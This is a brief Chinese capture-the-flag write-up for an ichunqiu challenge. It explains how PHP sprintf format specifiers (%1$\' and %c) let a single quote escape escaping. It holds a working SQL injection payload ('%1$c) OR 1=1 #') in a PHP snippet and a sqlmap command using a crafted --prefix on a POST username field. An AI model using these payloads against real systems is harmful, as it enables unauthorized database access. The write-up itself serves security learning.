URL:http://efa4e2c2b8df4ce69454639f4e3727071652c31167f341a4.game.ichunqiu.com/
简单的说就是sprintf中%1$\'会将\吃掉,导致'的逃逸。%后表示第几个参数,$表示参数类型。
还有一个sprintf漏洞的利用方式:%c起到了类似chr()的效果,将数字39转化为',从而导致了sql注入。
1 <?php 2 3 $input1 = '%1$c) OR 1=1 #'; 4 $input2 = 39; 5 $sql = "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s"; 6 $sql = sprintf($sql, $input2); 7 echo $sql; 8 ?>
在这题中,--prefix加个前缀丢进sqlmap跑就好了。
虽然是post
sqlmap -r /home/1.txt -p username --prefix="%1$'"
--prefix 前缀
--suffix 后缀
其实也可以直接*
